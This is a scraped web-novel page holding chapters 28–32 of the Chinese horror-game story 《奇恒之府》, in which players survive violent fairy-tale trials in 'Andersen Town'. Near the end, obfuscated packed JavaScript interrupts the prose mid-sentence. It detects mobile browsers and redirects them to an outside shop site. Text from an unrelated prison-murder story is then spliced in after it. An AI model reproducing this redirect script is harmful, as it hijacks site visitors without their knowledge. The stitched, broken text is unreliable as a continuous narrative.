本来贺玉盈也没想硬逼着他拿出花盆,换做是她,也不敢去冒险帮一个素昧平生的人。可是文华这些话让她听着十分不舒服。 于是她便冷下声音,皮笑肉不笑地说:“是这样。不过你也要小心一点,毕竟是我这个任务的关键线索。虽然我没用上,但要是牵连到你,我在游戏外会愧疚的。” 文华不是蠢货,怎么听不出她语气里的讽刺,但是也没立刻发怒,而是沉下脸,重重关上了房门。 贺玉盈刚转身朝自己房间走去,就见门口站着个不速之客。 她心里的火还没散尽,“你一直都这么喜欢待在别人门口不走吗?” 徐伏隐站直了,昏暗的灯光拉得他的影子尤其长。 “我去帮你拿花盆。” 贺玉盈突然没了脾气,心里暗暗责怪自己怎么每次一冲动就容易说错话。 “……不用。” “我可以拿来。” 贺玉盈快步走到他面前,压低声音:“你要怎么拿?硬闯?你多壮,他多壮?何况万一不小心破坏了什么东西,你们全都得完蛋!” 徐伏隐足足比贺玉盈高出一个脑袋,此刻他们的距离已经突破了正常社交的距离,他微微低下头看她,居然勾起嘴角:“不是抢,是偷。” “偷?” 贺玉盈学着何年景冷笑一声,没再继续话题,而是打开了自己的房间门,“可以回去了吗?我要睡觉了。” “你的事情不解决了吗?” “今晚不会死。”贺玉盈 28. 第28章 安徒生小镇 《奇恒之府》全本免费阅读 次日,贺玉盈被人吵醒。她揉揉眼睛,迷迷瞪瞪地从床底爬出来。 “贺玉盈!?你没死?!” 一个又软又温暖的身体忽然扑了上来:“吓死我了,你怎么也不吭声啊,满地都是血,我们还以为你昨晚……” 贺玉盈缓了缓,惊讶地发现房间内一片血海。 一颗早已死掉的人头会流这么多血吗? 她再定定神,原来那些血都是沿着床脚流下来的。 徐伏隐一把掀开浸红了的被子,床上赫然是一个被砍断的枕头,惊奇的是枕头断口处流淌出来的不是鹅绒,而是源源不断的粘稠血液。 余渺渺手脚并用地从贺玉盈身上下来,缩在她身后看着这副惊悚的画面:“……拍恐怖电影啊。” 何年景:“我们现在的处境和恐怖电影有区别吗?” 余渺渺:“确实。” “你的脸怎么了?”何年景的目光放在贺玉盈的脸上,问。 贺玉盈疑惑:“怎么了?” 余渺渺踮脚探头,嗓音颤抖,“血啊,你脸上好多好多血……” 贺玉盈摸了摸脸,眼下一看,指尖果然有血痕。从床底爬出来时,她身上不可避免地沾上了血,可她的脸绝对没有碰到任何血液。 她正纳闷时,徐伏隐已大步走到她的面前,神态自如地捧起她的脸,专注地看了看,甚至还伸出指尖轻轻抹了抹。 贺玉盈的眉头立刻一压,对方却在她说话前放开手,退开一步,若无其事地说: “是泪痕。你昨晚哭过了?” 这一打岔,贺玉盈便被转移了注意力。回想起来,确实有这种事发生。 “嗯。听到女巫的声音后,不知道为什么,我的眼泪就掉出来了……没想到会是血泪。” “可能有特殊效果……” “什么特殊效果?不会又是标记之类的东西吧?”余渺渺插话。 “不知道。”徐伏隐说,“昨晚能活下来,已经是万幸了。” 贺玉盈抬起胳膊擦了擦脸。 “别动。”何年景见她越擦越花,实在看不下去,干脆直接上手,“我帮你擦。” 贺玉盈于是放下手,抬起脸让她擦。 擦着擦着,何年景的表情变得越来越古怪。 贺玉盈还没问出声,一旁的余渺渺已经“扑哧”一声笑了出来:“贺玉盈,你现在好像关公的大红脸。” 何年景冷冷道:“说得真喜庆。这是血,不是颜料。” “浴血奋战的关公……” “……” 贺玉盈:“算了算了,我等会儿找点水就行了。我们先办正事。” 何年景心情复杂地放下手,“今天要做什么?” “去森林。进城堡。” …… 四人来到森林,跟着徐伏隐一路沿着溪流上行,最后来到一处低矮的暗门。 贺玉盈仔细观察了下锁孔,果然和他说得分毫不差。 三个锁孔,三根手指。 徐伏隐在旁神经高度紧绷,生怕贺玉盈把她的手指塞进去,直到看见她退离暗门后才松口气。 贺玉盈说:“今天晚上我们在这里汇合,一起进城堡。” “哎?不告诉文华陈远里他们吗?”余渺渺问。 话音一落,何年景的表情青了又紫,紫了又青,这是贺玉盈第一次在她脸上看到这么丰富的表情色彩,“你是真不知道还是假不知道?” “什么?” “姓王的那个已经死了。”何年景说,“还有那个叫陈远什么的,他是一直和胡子男在一起的吧?” 顿了顿,何年景又说:“……昨天的时候,我看见胡子男是一个人行动。” 余渺渺忽然陷入了一阵诡异的安静,过了片刻,她才露出一个比哭还难看的笑容。 “难怪我这两天一直没听见隔壁有动静……我还以为是他起得比我早回得比我晚呢。” 贺玉盈不关注他们,这个消息着实让她感到惊讶。 “王家嘉是怎么死的?” “掉进井里摔死的。”徐伏隐说。 这下何年景反倒多看了他一眼,“你怎么知道?” 就连她也只是看到了被打捞起的尸体,跟别人打听出来的。 “我看见了。” “你看见了?” “碰巧。”他神色自如,“我有个跟井有关的线索,他往井里跳的时候,我刚好路过。” 余渺渺:“那还真够巧的……” 她打了个寒颤,“不知不觉怎么就死了。” 听到这番话,何年景心中五味杂陈。要不是碰见了贺玉盈和余渺渺两人,她也会像他们一样无声无息地死掉。 这不是团队游戏,没有人会在意你的死活。 “不谈他们了。在离开之前,先把我关于童话祭的猜测全部告诉你们——不保证正确,如果可能的话,其实我更想再确认一下,可是时间来不及了,必须要尽快告诉你们——你们还记得镇长说过的关于童话祭的要求吗——‘扮成童话人物,参加童话祭’,规则是——‘童话祭是安徒生小镇最重要的节日,小镇居民必须全部参加’……” “当然记得了,有什么问题吗?” “这两条线索其实是相互关联的,不是吗?在小镇上的这么多天,虽然没有没有明确的证据表明,但是我们遇见的几乎每一个居民,实际上都是童话中存在的角色。‘扮成童话人物参加童话祭’和‘小镇居民必须全部参加童话祭’其实是一个意思——游戏的真正要求,是要我们取代小镇居民,参加童话祭。” 何年景神色凝重,一声不吭,似乎在认真思考。 “我们在小镇上遇见了很多的死亡事件,有些事件的主人公是我们,有些事件的主人公则是童话角色……但无一例外的,我们最终都会被带进死亡事件中。” 余渺渺听了半天,终于忍不住打断:“等等,贺玉盈……我,我有点不明白你在说什么。” “举个例子。女巫事件中,我被视为拐走她女儿的男人,或者被视为她死去的女儿,如果我认可了这个身份,那么我就满足了参加童话祭的要求——我已经成为了童话角色。但随之而来的,我必须要尽全力躲过女巫的追杀,顺利活到童话祭,直到游戏结束。” “那我就是被给了一个兔子新娘的身份了。”何年景接上话,“如果我同意成为它的新娘,那么我就成为了童话中的角色,满足了参加童话祭的要求。但是如果我不做它的新娘,就没有获得这个资格。” 余渺渺这下听懂了:“……我们是不是帮倒忙了 29. 第29章 安徒生小镇 《奇恒之府》全本免费阅读 “有规则限定,我们不能放弃这个任务。”贺玉盈说,“现在的问题是,这个事件的后续和破解方法我们都不知道,无法保证你的安全。” 余渺渺:“也就是说,我没有选择的机会了?” 贺玉盈点点头。 余渺渺泪流满面。 “我猜测磨坊主会让我们代替他的女儿被魔鬼带走——这是最有可能的后续了。” 露娜和磨坊主对魔鬼的了解比她们要多得多,可即便是这样,磨坊主还是选择了逃避,而露娜则选择了接受。 贺玉盈不认为磨坊主会让她们反抗魔鬼。 “我会死吗?”余渺渺的眼角划过一滴泪水。 贺玉盈坦诚地摇摇头,“不知道。” 余渺渺心想还不如自己现在抹脖子算了—— “但是我会和你一起去。”贺玉盈说。 徐伏隐的瞳孔微微一震,悄然地盯着贺玉盈的脸。 “……!” 余渺渺:“真的吗!” “真的。”贺玉盈说,“我陪你一起去。但我要先声明一点,女巫还是会追杀我,和我在一起,她可能也会盯上……” 话没说完,余渺渺就激动地扑到贺玉盈身上:“贺玉盈我要跟你当一辈子的好朋友!出去我们就加好友。” “……” “那我呢?” 三人齐齐看向说话的徐伏隐。 “你怎么安排我和她的?”徐伏隐问。 这个“她”指的就是何年景。 何年景:“我也想问。” “当然是自己行动。”贺玉盈有点不解,“你们是自由的。” 闻言,何年景愣住了。 怎么回事……她怎么会问出这么傻的问题…… 她的目光投向一旁的徐伏隐,心里顿时好受多了。 幸好犯傻的不只她一个人。 …… 贺玉盈和余渺渺来到了磨坊的后院,露娜穿着过小腿的白色纱裙站在苹果树下,微风轻轻吹起她的裙角。 见到她们,露娜开心地笑起来:“你们来了。” 余渺渺问:“昨天你没出什么事吧?” “没有,”露娜说,“嗯……魔鬼昨天发了很大的脾气——因为按照约定,魔鬼只能来三次,如果三次都不能带走我,魔鬼就不能再来了。” “那太好了!” “可是……今天就是第三次了,”露娜低下头,双手绞着衣裙,支支吾吾地,“而且,昨天魔鬼还让父亲……” “哎呀呀,你们在说什么呀?” 不知何时出现的磨坊主突然出声打断了露娜的话:“善良的孩子们,虽然昨晚你们丢下了我和我可爱的女儿,但是我并不埋怨你们……可是今晚你们一定不能离开,必须慷慨地给予我们帮助。” 余渺渺僵着脸,往贺玉盈身后躲了躲。 贺玉盈保持一贯微笑:“这是当然的。至于昨晚……打火匣起作用了吗?” “哎呀呀……”磨坊主浑浊的眼珠转了转,“那可是个好东西呀,你们从哪里得来的?记得我曾见过一个十分相似的打火匣,镶嵌着红色的玛瑙和白色的珍珠,燃起的火苗像小小的卫兵,能召唤出传说中守护财宝的恶犬,你们从哪里得来的?” “这个嘛……”贺玉盈顿了顿,说,“森林里有一只新婚的兔子,我们作为宾客,得到了他的礼物。” 余渺渺震惊地看向贺玉盈。 这人说瞎话原来是张口就来的吗!? 磨坊主捋着大胡须,点点头,不知是信了还是没信,“是这样啊,哎呀呀,是这样的啊,真是十分感谢……露娜?” 露娜一个激灵。 “去拿点吃的给她们吧。”磨坊主说完,转头又对贺玉盈两人说,“哎呀呀,辛苦你们帮忙,就让这点心意作为回报吧。” 余渺渺嘟囔:“还真客气。” 贺玉盈的目光从露娜紧抿的嘴唇移到她苍白的双颊,不动声色地说:“谢谢您的招待。” 两人被磨坊主引到桌椅坐下,不久,露娜就端着盘子过来了。盘子里不仅有香喷喷的茶点,还有饱满红润的苹果,模样可人,令人垂涎欲滴。 “这是这孩子亲手种的,今早才从树上摘下。”磨坊主说,“哎呀呀,美味又可口,希望你们不要嫌弃。” 露娜收起餐板站在一旁,垂下头一声不吭。 余渺渺看了看贺玉盈的脸色,一动也不敢动。 “怎么了?”磨坊主问,“是不合口味吗?” “不是的。”贺玉盈这时才动手拿起一颗苹果,挑剔道,“只是一整颗苹果不太方便吃。” 余渺渺虽然搞不清楚状况,但还是跟着狂点头。 磨坊主微微一僵,“露娜,去把厨房里的菜刀拿来吧。” 露娜欲言又止,最后还是在磨坊主的眼神下转身离开了。 她转身的瞬间,贺玉盈便面色不改地咬了口苹果,咀嚼两下,夸赞道:“太麻烦你们了……真是很好吃的苹果。” 余渺渺见此,也拿起一颗苹果放进嘴里咬了一口。 磨坊主笑了笑:“你们喜欢就好。” …… “父亲……我们真的要这样做吗?”露娜的声音从头顶传来,带着不明显的哭腔,“她们是善良的客人,我们这样做是不对的。” “好女儿,我善良又懂事的好女儿。你难道不知道如果不这样做,你今晚就会被魔鬼带走?她们已经答应要帮助我们度过难关,你何必要感到不忍?” “可是父亲,这本来就是我们应该承担的后果,我们做错了事,所以魔鬼才会找上我。” 一阵沉默过后,“……你在责怪我吗?责怪我签订契约将你卖给魔鬼?可是我的女儿,我发誓我是被魔鬼蒙骗!世上有哪个父亲忍心失去自己的女儿?我是如此的爱你,为了从魔鬼手中留下你,我不惜付出任何代价!即使这样你也不肯宽恕我?宽恕将你抚养长大,已经垂垂老矣的父亲?” “……父亲,我不是这个意思……” “那么就让她换上你的衣服,然后砍下她的双臂,记住,要在她们醒来之前做好这一切。” “父亲,这真的有效吗?魔鬼要带走的人是我。” “魔鬼的双眼已被蒙蔽,只要我称呼她为‘女儿’,便能将魔鬼骗过。 30. 第30章 安徒生小镇 《奇恒之府》全本免费阅读 “贺玉盈!” “贺玉盈!跑啊!!” “快跑!!” 贺玉盈跌跌撞撞地往前跑,地上蜿蜒着一条鲜血的路线。 夜晚的空气一股脑地闷在肺里,她有些喘不上气。可是她不能停下,因为后面有东西在追赶她。 余渺渺本来扶着她,被她向前推了一把后便跑在她的前面,一边跑,一边担忧地回望她。 两人从磨坊主的后院一直逃到森林里,所幸白天的时候特意来过一次,否则她们说不定会迷失在森林。 身后的嘶吼声越来越接近,好几次让贺玉盈以为它们已经贴上了自己的后背。 什么情况…… 这不是一个智力局吗……为什么真的会有追杀戏码?! 如果满分是五分,贺玉盈的智力水平勉强能够到四分,体力则只有实打实的两分——普通人平均以下水平,标准的战五渣废柴。 跑着跑着,脚下一绊,她结结实实地摔倒在地。 ……膝盖破皮了。 身后的压迫感越来越重,贺玉盈咬着牙,几乎是立刻就从地上爬起,拖着腿一瘸一拐地往前跑。 跑了十多米,摔伤的腿渐渐恢复知觉,贺玉盈便立即把姿势调整过来。 好心疼…… 见此,前方的余渺渺的脚步调转,按照原本的路线往前跑。 她真的什么都帮不上忙……唯一能做的就是跑得快一点,再快一点,带着贺玉盈尽快跑到暗门。 暗门……暗门…… 到了! 何年景站在暗门前,焦急地来回踱步,见到她,瞪大了眼睛。 “开门!”余渺渺感觉自己嘴巴一股咸湿,她将怀里死死抱着的手臂扔了出去,“快开门!” 何年景还没反应过来,断手的鲜血便泼洒了她一脸,她顾不得其他,抱着断手,挨个挨个去试门上的锁孔。 这个不行……这个也不行…… 不够啊! 手指不够!还要一只断手才行! 只差一根手指! 她回头想要寻求帮助。 可是眼前已经没有人影。 余渺渺跑回了森林,贺玉盈不在,看起来神秘莫测的徐伏隐也不在。 只有她一个人在这里。 何年景心急如焚,使劲巴拉着锁孔,忽然,她动作一顿。 像下定了某种决心,何年景缓缓地,缓缓地将自己左手无名指塞到锁孔深处。 门开了。 锁孔已经将她的手指彻底绞断,何年景忍着剧痛收回手,闪进了漆黑的暗门里。 门外,余渺渺和贺玉盈的身影出现在远处,在向这边狂奔。 何年景松了口气。 此时,门被人拉开,徐伏隐出现在暗门内。 他看见何年景不断滴着鲜血的左手,最终,他移开了视线。 两人沉默地站在暗门里,远远地眺望另外两个人。 贺玉盈和余渺渺越跑越近,身后追杀她们的怪物也显现了出来。 何年景白着脸。 这是她第一次在髓海见到这种鬼东西…… 她讨厌鬼神和灵异,所以她宁愿多花元核,也不想自己被分到有鬼的变格类游戏里。 最后,两人成功钻进了暗门。四人合力关上门,将女巫和魔鬼拦在了门外。 门外的怪物嘶吼着,却没有试图破坏这扇小小的暗门。 贺玉盈捂着手臂,靠着暗门,脱力地滑到地上。 看来她猜的没错,镇长是小镇国王,是权力中心,城堡则是这座小镇的王宫。 未经许可,谁敢擅自闯进王宫? 徐伏隐蹲下身,凑近了贺玉盈,“哪里受伤了?让我看看。” 贺玉盈身上的白裙已经被鲜血染红了将近一半,过量的运动像是给她带上了紧箍咒,整个脑袋都勒得慌,汗水从额角往下滚落。 余渺渺恨恨道:“还不是那个死老头!疯了一样,非要砍她的手臂!要不是我们跑得快……” 徐伏隐抬起贺玉盈的右臂,上面果然有一道深可见骨的刀伤,鲜血就是从这里涌出来的。 “不行,得止血。”徐伏隐说完便脱下外套,撕下自己的衣角,熟练地缠上了贺玉盈的胳膊。 贺玉盈垂眸看着他的动作,一句话也没有说。 她的视线从地上那突兀的一滩血慢慢上移,最后落在何年景握紧的拳头上。 “你手怎么了?”她皱皱眉。 何年景并不藏着掖着,干脆利落地摊开手掌,顺带解释道:“没什么……缺一根手指开门。” “……”众人一愣。 “……都怪那个死老头!”余渺渺叫骂道,“那你的手指怎么办啊?出游戏能复原吗?” “复不了原就复不了原,”何年景扬起下巴,“左手无名指而已,我用不上。” “你电脑不打字吗?玩游戏呢?” 何年景:“……” “哎呀我忘了,奇恒之府里没有电脑游戏玩。” 何年景:“……闭嘴。” 贺玉盈把目光放在正认真给她打结的徐伏隐身上,“徐伏隐,帮忙给她包扎一下吧。我们现在都不方便。” 徐伏隐点点头:“好。” 包扎完伤员后,四人便就地休息,恢复体力。趁这个时间,贺玉盈把最后一天的计划全部告诉她们: “进游戏时,【助手】说‘在安徒生小镇游玩五天,五天后,小镇关闭’,你们的【助手】是这样说的吗?” “是。”徐伏隐说。 何年景:“如果我没记错的话,是一样的。” 余渺渺挠挠头:“……应该是吧?” “还有一个问题,【助手】的要求,和游戏里的要求,哪一个的优先级最高?” “……”几人面面相觑,似乎不好回答。 最后还是徐伏隐先开口:“非要分个先后,我认为是【助手】。助手负责发布玩家进入髓海后的任务。” 何年景:“嗯……我也这么想。” “那就说得通了。【助手】发布任务,负责规定玩家在髓海内的一切行为,”贺玉盈说,“那么在规则怪谈里——就是我们现在的游戏里,规则只是第二准则,对吗?” 三人沉思着,都点点头。 “在明天到来时,童话祭开始时,我们就会因违反‘装扮成童话角色,参加童话祭’这条规则而丧命。因为我们都失去了‘取代小镇居民,变成童话角色’的资格。可是如果我们接受单人任务,‘成为小镇居民’,我们 31. 第31章 安徒生小镇 《奇恒之府》全本免费阅读 这是一座恢弘精致的城堡,想要在这座城堡里找到裁缝不容易,躲过巡逻的守卫更不容易。 余渺渺:“早知道你就该把那什么打火匣还回去,混个守卫,我们现在就轻松多了。” “是吗。当时怎么会知道现在的情况?”徐伏隐说。 “也对。”余渺渺撇撇嘴,“对了,你打火匣呢?” “丢了。”徐伏隐说。 “丢了?” “嗯,不见了。” “……好吧。”余渺渺有些失望。 何年景则是不引人注目地看了眼贺玉盈。 贺玉盈像是没听到这段对话,泰然自若地,“分头行动怎么样?分两队。一起行动太慢了。” 余渺渺的注意力立刻被拉了回来,小声抗议:“可是分头行动很危险啊,如果被抓到怎么办?” “就是因为很危险才要分开行动。”何年景赞同贺玉盈,“不然的话,容易被一锅端。分两队,其中一队出了事,另一队至少还能正常行动。” 余渺渺:“哦……哦,说得是哦。那我要跟贺玉盈一队!” 何年景看了眼徐伏隐,后者的注意力根本不在自己身上:“凭什么?我反对。” “什么凭什么?我跟贺玉盈从第一天就是一队啊!” “总之,我反对。”何年景犹豫了会儿,“我跟你一队。” 余渺渺:“啊……” “啊什么?就这么说定了。我跟你一队,你们两个没问题吧?”她问贺玉盈两人。 贺玉盈当然是随便怎么样都行:“没问题。” 徐伏隐:“没问题。” 商量好后,两队便分头行动。 城堡里虽然四处有卫兵巡逻,但好在他们不是每个地方都能盯住。 抓住空挡,贺玉盈和徐伏隐很轻松地躲过他们的视线,一边偷听着卫兵的对话,一边行动。 “听说了吗?有个家里开磨坊的老头昨天面见了镇长。” “听说了。镇长还给了他很大一笔钱。” “为什么要给他钱?” “好像是他替镇长找到了丢失的东西……可惜他是个老头了。” “我知道他,他还有个长得很漂亮的女儿。” “真的吗!” “真的,长得像天上的月亮。如果你好奇,童话祭的时候我指给你看。她一定会在人群中。” “说起来,这次童话祭也和往年一样吧?没什么意思。” “你疯了?敢说这种话!也不怕被人听到!你知道每年为童话祭花了多少钱吗?!” “……啊,要是那些钱能分给我一点……” “切,和以前一样,趁镇长没注意的时候,用手上的剑从礼服上勾一点金线下来不就行了吗?运气好点,还能勾下宝石和珍珠。” “我的未婚妻就负责为制作礼服的裁缝送餐。听她说,每年制作礼服的金线和宝石能堆满一整间房屋。” “啊,真想亲手摸一摸。” “……快别说了,你们。有其他班的卫兵过来了。” 于是,这班话痨的卫兵闭上嘴,彻底噤声。 暗处的贺玉盈和徐伏隐对视一眼,都明白了自己的下一个目的地。 …… 两人在一众厨娘中锁定了目标,猫着腰跟在她身后,一路磕磕绊绊,总算到了裁缝工作的房间。 厚重的大门打开,驼背的老人推了推眼镜,接过厨娘的餐食。 厨娘跟他搭话:“工作很辛苦吧?” “是啊是啊,不过总算结束了。”老人笑眯眯地,“还好能赶上。” “这么说,礼服已经做好了?” “是啊是啊,我那两个学徒已经将礼服送走了。”老人说,“等他们回来,我们就要收拾收拾离开了。” 厨娘轻轻“啊”了一声,“这么着急呀。离开前也该去镇长面前讨点赏嘛。” “哪能这样呢?镇长很大方的啊,已经给了很多的赏赐。”老人慢慢地说,“不打扰他了。我们也要抓紧时间回去,童话祭要陪家人过的啊。” “这样啊。祝您节日愉快。”厨娘说。 老人笑呵呵地:“祝你节日愉快。” 礼服已经被送走了? 贺玉盈的心“咯噔”一下,转头看向徐伏隐,对方也是一脸凝重。 这时,忽然有个卫兵小跑过来,向裁缝和厨娘敬了个礼: “赶快回到自己的位置。城堡遇窃,镇长下令戒严!” 厨娘:“怎么了?丢了什么东西?” 卫兵四下看了看,小心翼翼地对厨娘说:“有人闯进了镇长的宝库……现在正在排查可疑人员,你赶快回厨房去,不要让人怀疑你。” 厨娘看起来好像还想问什么,可是卫兵又向她敬了个礼,立刻转身跑走了。厨娘的话被迫咽进肚子里,对裁缝道别后,也小跑着离开了。 贺玉盈小声问:“……是她们吗?” 如果是她们的话,真不知该说是运气好,还是运气不好。 徐伏隐:“难说。我们小心打听一下。” 这边的老人已经回到了房间,关上了大门。 徐伏隐和贺玉盈两人也离开了原地。 另一边。 余渺渺被何年景带着东躲西藏,捂着胸口后怕道: “怎么回事!那扇门怎么突然关上了!吓死我了,差点就被关在里面了。” 何年景小心探头观察着四处搜寻的卫兵,这样下去,她们迟早会被抓住。 “你看清里面有什么了吗?” “死人啊!被剥皮吊起来的死人啊!”余渺渺的声音像是从嗓子眼里挤出来的,“血淋淋的,腿都给我吓软了!要不是你把我拖出去的话,我……” “疯子!镇长是不是疯子?!在房间里放那么多死人干什么!拍电影吗?他以为是腊肠吗?!”余渺渺又惊又怕,控制不了自己的情绪,“真是要命了!我们还能出去吗?” 何年景:“礼服在里面吗?” “没有!”余渺渺说,“只有死人!是哪个卫兵说这是宝库的?他是不是瞎了?!” 眼前又有一队卫兵走过,何年景压下余渺渺的头,躲避他们的视线。 何年景:“说不定是其他宝库,我们再找找。” “真是疯了……”余渺渺无语凝噎,“这种宝库不会还有很多个吧?” 何年景:“我们已经引起了注意,以后更要小心。” 余渺渺:“天哪。还有不到二十四小时就能回奇恒之府了,太感动了。” 何年景:“……” …… “我有个提议。” “又要冒险吗?” “是。”贺玉盈说,“城堡太大了,光凭我们四个人,想要找到礼服根本不现实。” “你想怎么做?” “我们需要更多的人手。”贺玉盈说。 …… 一个卫兵从后方小跑上 32. 第32章 安徒生小镇 《奇恒之府》全本免费阅读 推开无人把守的木门,走进仅容一人通过的狭窄道路,沿着石砖一路向下,光线越来越暗淡,墙面只有勉强供给照明的几盏微弱火烛。又向下行了几层,地牢内变得宽敞起来,墙面和地面十分阴暗潮湿,可以分辨出一些发黑的陈年血迹。烛光摇曳下,一些可怖的刑具也显现出来。 当踏进这个阴森的地方,看见两边低矮的牢房时,余渺渺瞬间就后悔了,恨不得赶紧逃上地面。 这里实在是太压抑了,光是站在牢房外,她就觉得自己呼吸困难。 一路走来,她的脚步不算很轻。在这寂静的地牢里,连灯火的晃动都是那么引人注目。 贺玉盈的观察力那么好,不可能没发现她来了。 ……等等,地牢里太安静了,为什么一点声音也没有? 她的呼吸声太响亮了,她的呼吸声太响亮了。 余渺渺的脑海中忽然浮现出何年景那副冷淡的面孔,对方一脸认真地告诫她这可能是个陷阱。 对嘛! 被抓的人是她也不可能是贺玉盈啊! 她在想什么?!居然还自告奋勇来救人! 这时,余渺渺眼尖地发现地面上的烛光晃动了一些,连带着漆黑的影子也摆动了一瞬。 在缺氧的状态下,她的脑子第一次转得飞快。 地牢里的空气不流通,烛火为什么会晃动? 一个陌生的黑影渐渐压了过来,余渺渺看见自己的影子被彻底覆盖。 “……”余渺渺战战兢兢地转过头,眼瞳里倒映着一片金光。 她像是被人兜头泼了一盆凉水,从头到脚都是冰凉的。 …… “真的不在这里。”贺玉盈咬牙切齿,“被骗了。” 徐伏隐:“时间来不及了。” “最后的机会,只能在童话祭上尝试搞破坏了。”贺玉盈头痛地扶额,“可是童话祭上有那么多的居民,怎么下手是个难题。” “装成卫兵的样子混进去呢?” “事到如今,什么办法都要试试。我们先去和何年景她们汇合,再做下一步打算。” “不用找了,我已经来了。”何年景的声音传来。 贺玉盈看向她,只有她一个人:“余渺渺呢?” 何年景的脸色变得十分古怪,“她听说有人被抓了,以为是你们,就去地牢救你们了。” “……” 贺玉盈和徐伏隐对视一眼。 光想到镇长可能在用这一招钓鱼,没想到真有鱼被钓起来。 “怎么办?”何年景问。 “……”贺玉盈闭了闭眼,深深呼吸,“不救。当务之急是破坏童话祭。” “可是,”何年景犹豫了一下,还是说,“我担心镇长会把变态的刑罚用在她身上。” “刑罚?” “灭绝人性。”何年景评价道。接着她顿了顿,向贺玉盈和徐伏隐讲述了之前她们在宝库里看见的场景。 本来她以为即使是陷阱,也顶多是把被抓到的人控制起来而已。 但是当她格外顺利地在这里遇见贺玉盈两人时便深觉大事不妙——假如镇长的视线没有放在这个被充当诱饵的房间上,那么镇长的视线又会放在哪里? 只有一个地方。 地牢。 “还是破坏童话祭最重要。”贺玉盈说,“所以,我们现在要好好思考下一步。” …… 地牢外有重兵把守,将入口围得严严实实,密不透风。 “抓一个人就满足了吗?”贺玉盈不满,“围得这么严实,真没追求。” 何年景:“有时你说话怎么像个混混一样?” “是说我该注意一下形象吗?” “是说你表里不一。”徐伏隐说。 贺玉盈不吭声了。 何年景:“……我不是他说的那个意思。” 徐伏隐:“对不起,惹你不高兴。” “……” “……安静。”贺玉盈的表情没有半点变化,“按照说好的行动。你们不后悔吧?” “不后悔,一局游戏的元核而已。更别说这局游戏本来就十足十的变态。”何年景哼道,“反正,总不能真让那家伙被扒皮吊起来吧?” 太残忍了。 哪怕余渺渺换个温和一点的死法,她都不会来管她的死活。 “那好,你呢?” 徐伏隐:“不后悔。你做什么我做什么。” “……”何年景忍了又忍,终于忍不住道:“其实我很早就想问了,你们是在谈恋爱吗?” 贺玉盈:“……为什么这么问?” “难道不是吗?” “不是。不熟。”贺玉盈盯着卫兵,飞快道,“好了,别说其他的了。尽快。” 再晚一点,她们就不是救人了,而是进去给余渺渺收尸了。 话落,何年景便绕到其他地方,从暗处跳了出来,又迅速跑走,故意吸引卫兵的注意力。一部分卫兵顺利被她引开。 紧接着,徐伏隐便冲了出来,以迅雷不及掩耳之势撂倒了地牢入口的残余卫兵。 贺玉盈惊讶地看着这一切。 没想到他这么能打…… 早知道就应该好好利用他。 徐伏隐:“我陪你进去。” 贺玉盈观察了一下地牢的入口,随后推了他一下,“不,你去帮何年景。那么多卫兵,她一个人应付不来。” 徐伏隐还想再说些什么,可是贺玉盈已经头也不回地钻进了地牢。 他垂下眼眸,然后便追着卫兵消失的方向赶去。 …… 贺玉盈贴着石砖,一点一点地往下摸。 地牢的通道很狭窄,地牢的深处也很安静。 看来她猜得没错。 既然入口守着那么多卫兵,那么地牢里就不会留有太多的人手。 稀薄的空气也证明了这一点。 “游客为什么会来到我的城堡?还出现在我的地牢里?”镇长那熟悉的声音在地牢里响起,“你不是应该准备参加今天的童话祭吗?已经准备好了吗?” 贺玉盈藏在黑暗里,悄声看着地牢里的一切。 余渺渺被人五花大绑地压着跪在地上,心虚地咽了咽口水,“啊……那个……已经准备好了……” “撒谎!” 镇长大笑着,随后抬起手中镶嵌着各色钻石的拐杖,重重地朝余渺渺的头打去。 余渺渺当即被打倒在地,口鼻瞬间涌出鲜血。 同时,她的眼泪也涌了出来。 贺玉盈的目光从镇长手中流光溢彩的拐杖,逐渐移到他身上的华丽礼服上…… 真是没想到……这个镇长居然早就已经将礼服穿在身上了,难怪她们怎么找也找不到。 “你们这些苍蝇的举动我了然于胸!说吧!”镇长用拐杖敲了一下地面,“你的同伴们都去了哪里?如果你愿意向我坦诚,我会给你赦免的恩典。” 余渺渺糊了一脸的鲜血和眼泪,半张脸都是麻木的,哼哼唧唧着,半天都说不出一句话。 镇长显然有些不耐烦了。 “不愿意交代吗?” “……呜……呜呜……”余渺渺艰难地眨眨眼睛,咬着嘴唇低声哭泣。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12840969|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明明知道她心有顾虑,其实他也是做了很久的思想准备才向她提出结盟的,当下她没有立即给出肯定的答复,他也不是不能理解,只是语气仍有些失望道:“那好吧。” 贺玉盈点点头,端着饭菜回到牢房里大快朵颐。 本以为这样僵持的局面还要再持续很长时间,哪知贺玉盈刚刚刨了没两口饭,竹子的声音便在牢房外响起: “大家都快出来!出事了!” 贺玉盈心中一惊,放下饭碗,挪开桌子便赶了出去。 她的动作算慢的,一出去,就看见几人已经围在了最右边的牢房外。她赶紧小跑过去,房门大敞着,透过零星两三个脑袋的缝隙,牢房里的场景骇得她睁大了眼睛。 素心直挺挺地倒在牢房的地板上,死不瞑目,脖子上有一道深紫的掐痕。 “谁!是谁杀了她!”小程的嗓音像只被掐住脖子的鸡叫声。 竹子的嗓音无比冷淡:“我不知道。我一直在睡觉,刚刚起床的时候看到她牢房前的食物一直没有动过,出于担心就来看了一眼,结果发现她已经死了。” “出于担心?”阿聪目不转睛地看着他。 面对质疑,竹子淡定地更改了说辞:“出于好奇。” 这座监狱的牢房是单排并列的,因此,七人的牢房一个接一个地挨在一起。 素心的牢房在最右边,紧挨着她的就是竹子的牢房,再之后是小风的。 竹子的证言没有效用,于是众人把视线投向小风。 面对这么多人的视线,小风面色不改:“我应该是听到了点奇怪的动静,但是我不知道具体时间。” 阿聪皱眉:“听到动静,你没有反应吗?” “我要有什么反应?小玉还喜欢挪桌子呢。”小风平平淡淡地就把贺玉盈扯了出来,“我哪知道你们都在牢房里搞什么,难道一有点声响我都要去看吗?而且,谁敢保证我听到的动静就是她被杀的时候发出的?” 明明问:“你没有看到有人经过你的牢房吗?” 